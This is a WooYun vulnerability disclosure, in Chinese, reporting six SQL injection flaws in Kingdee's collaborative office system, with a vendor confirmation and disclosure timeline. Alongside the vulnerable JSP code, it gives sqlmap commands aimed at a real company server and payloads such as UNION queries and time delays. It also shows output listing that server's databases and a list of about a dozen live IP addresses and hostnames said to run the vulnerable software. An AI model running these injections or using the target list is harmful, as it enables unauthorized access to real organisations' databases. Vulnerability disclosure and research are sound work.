当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135147

漏洞标题:金蝶协作办公系统存在六个高危SQL注射

相关厂商:金蝶

漏洞作者: 路人甲

提交时间:2015-08-19 12:29

修复时间:2015-11-18 09:32

公开时间:2015-11-18 09:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-19: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-23: 细节向第三方安全合作伙伴开放
2015-10-14: 细节向核心白帽子及相关领域专家公开
2015-10-24: 细节向普通白帽子公开
2015-11-03: 细节向实习白帽子公开
2015-11-18: 细节向公众公开

简要描述:

金蝶协作办公系统存在六个高危SQL注射

详细说明:

存在漏洞的文件:

/kingdee/person/getClass.jsp?id=1
/kingdee/person/note/note_opinion_submit.jsp?opinion_id=1
/kingdee/pubinfo/chatlog_length.jsp?user_id=1&sendid=11%27))%20and%20A.sendid=1*
/kingdee/pubinfo/chatlog_content.jsp?user_id=1&sendid=11%27))%20and%20A.sendid=1*
/kingdee/pubinfo/news_comment_del.jsp?id=1
/kingdee/test_tree/get_nodes.jsp?node=1


0x1 /kingdee/person/getClass.jsp 部分漏洞代码:

<%@ page language="java" import="java.util.*" contentType="text/html; charset=GBK"%><jsp:directive.page import="pub.PubFunc"/><%
String sql="select menu_id,menu_name from basic_mainmenu where high_menu_id='"+PubFunc.toString(request.getParameter("id"))+"'";
sysUtil.database.ResultData db = new sysUtil.database.ResultData();
ArrayList<String[]> alist = db.open(sql);
String wout="";
for(int i =0;i<alist.size();i++){
if(i==0)
wout+=alist.get(i)[0]+"|"+alist.get(i)[1];
else
wout+=","+alist.get(i)[0]+"|"+alist.get(i)[1];
}
response.getWriter().print(wout);
%>


sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/person/getClass.jsp?id=1"


2.png


0x2 /kingdee/person/note/note_opinion_submit.jsp 部分漏洞代码:

<%@page contentType="text/HTML;charset=gbk"%>
<jsp:directive.page import="pub.PubFunc"/>
<jsp:directive.page import="pub.TableCtrl"/>
<jsp:directive.page import="java.util.Hashtable"/>
<jsp:directive.page import="sysUtil.web.WebInit"/>
<%
String user_id=PubFunc.toString(session.getAttribute("user_id"));
String note=PubFunc.toString(request.getParameter("note"));
String opinion_id=PubFunc.toString(request.getParameter("opinion_id"));
String diart_id=PubFunc.toString(request.getParameter("diart_id"));
String isEdit=PubFunc.toString(request.getParameter("isEdit"));
String notice_id=PubFunc.toString(request.getParameter("notice_id"));
Hashtable ht=new Hashtable();
if(!user_id.equals("")&&!diart_id.equals("")&&isEdit.equals("")){
ht.put("opinion_id",String.valueOf(WebInit.GET_INDEX_ID("last_opinion_id")));
ht.put("diary_id",diart_id);
ht.put("user_id",user_id);
ht.put("note",note);
ht.put("insert_date",PubFunc.getNow());
ht.put("modify_date","");
ht.put("notice_id",notice_id);
new TableCtrl().insertRow("person_diary_opinion",ht);
out.print("true");
}else if(!opinion_id.equals("")){
ht.put("note",note);
ht.put("modify_date",PubFunc.getNow());
new TableCtrl().updateRow("person_diary_opinion",ht,"opinion_id="+opinion_id);
out.print("edit");
}else{
out.print("false");
}
%>


sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/person/note/note_opinion_submit.jsp?opinion_id=1"


2.png


0x3 /kingdee/pubinfo/chatlog_length.jsp/chatlog_content.jsp 部分漏洞代码:

<%
String user_id = request.getParameter("user_id");
String sendid = request.getParameter("sendid");
String dbstr=PubFunc.getDSChar();
if(user_id == null || user_id.equals(""))
return ;
int pagelen=0;
if(sendid.equals("all")){
pagelen = db.getRowCount("select sedtime from basic_oicq where receiveid='all' or (','"+dbstr+"receiveid"+dbstr+"',' like '%,all,%' and (','"+dbstr+"receiveid"+dbstr+"',' like '%,"+user_id+",%' or sendid='"+user_id+"'))order by sedtime desc");
}else{
pagelen = db.getRowCount("select B.user_name,A.msg,A.sedtime from basic_oicq A ,basic_user B where ((A.sendid='"+sendid+"' and A.receiveid='"+user_id+"') or (A.sendid='"+user_id+"' and A.receiveid='"+sendid+"')) and A.sendid=B.user_id order by A.sedtime");
}
out.print(pagelen);
%>


sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/pubinfo/chatlog_length.jsp?user_id=1&sendid=11%27))%20and%20A.sendid=1*"


3.png


0x4 /kingdee/pubinfo/news_comment_del.jsp 部分漏洞代码:

<%@page import="pub.TableCtrl"%>
<%
String id=request.getParameter("id");
new TableCtrl().exec("delete public_news_comment where id="+id);
%>


sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/pubinfo/news_comment_del.jsp?id=1"


4.png


0x5 /kingdee/test_tree/get_nodes.jsp 部分漏洞代码:

<%
String node_id = PubFunc.toString(request.getParameter("node"));

// if(node_id.equals(""))
// node_id="0";
//System.out.println(PubFunc.toString(request.getParameter("text")));
String str = "[";
TableCtrl db = new TableCtrl();
String sql = "";
sql = "select department_id,department_name from basic_org where high_department_id ="+node_id;
// sql = "select department_id,department_name from basic_org where high_department_id ="+node_id;
Vector vec = db.open(sql);


sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/test_tree/get_nodes.jsp?node=1"

5.png


sqlmap测试的数据:

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/test_tree/get_nodes.jsp?node=1" --dbs


da.png


给出几个案例:

http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://122.139.60.103:800/kingdee/login/loginpage.jsp
http://oa.guanhao.com:8080/kingdee/login/loginpage.jsp
http://222.179.238.182:8082/kingdee/login/loginpage2.jsp
http://222.134.77.23:8080/kingdee/login/loginpage.jsp
http://221.4.245.218:8080/kingdee/login/loginpage.jsp
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://220.189.244.202:8080/kingdee/login/loginpage.jsp
http://222.133.44.10:8080/kingdee/login/loginpage.jsp
http://223.95.183.6:8080/kingdee/login/loginpage.jsp
http://61.190.20.51/kingdee/login/loginpage.jsp
http://60.194.110.187/kingdee/login/loginpage.jsp
http://oa.roen.cn/kingdee/login/loginpage.jsp


漏洞证明:

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/test_tree/get_nodes.jsp?node=1"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:29:56
[22:29:56] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:29:56] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: node (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: node=1 AND 1673=1673
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: node=1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: node=1 UNION ALL SELECT NULL,CHAR(113)+CHAR(98)+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(108)+CHAR(88)+CHAR(109)+CHAR(103)+CHAR(103)+CHAR(119)+CHAR(121)+CHAR(67)+CHAR(98)+CHAR(80)+CHAR(113)+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(113)--
---
[22:29:57] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[22:29:57] [INFO] fetching database names
available databases [6]:
[*] ghcoa
[*] ghtest
[*] master
[*] model
[*] msdb
[*] tempdb
[22:29:57] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\oa.guanhao.com'
[*] shutting down at 22:29:57


修复方案:

过滤吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-20 09:30

厂商回复:

谢谢对金蝶的关注,此产品为合作伙伴产品,我们已通知相关部门为客户修复。已经有很多此系统的上报漏洞,故rank给的低,请理解。

最新状态:

暂无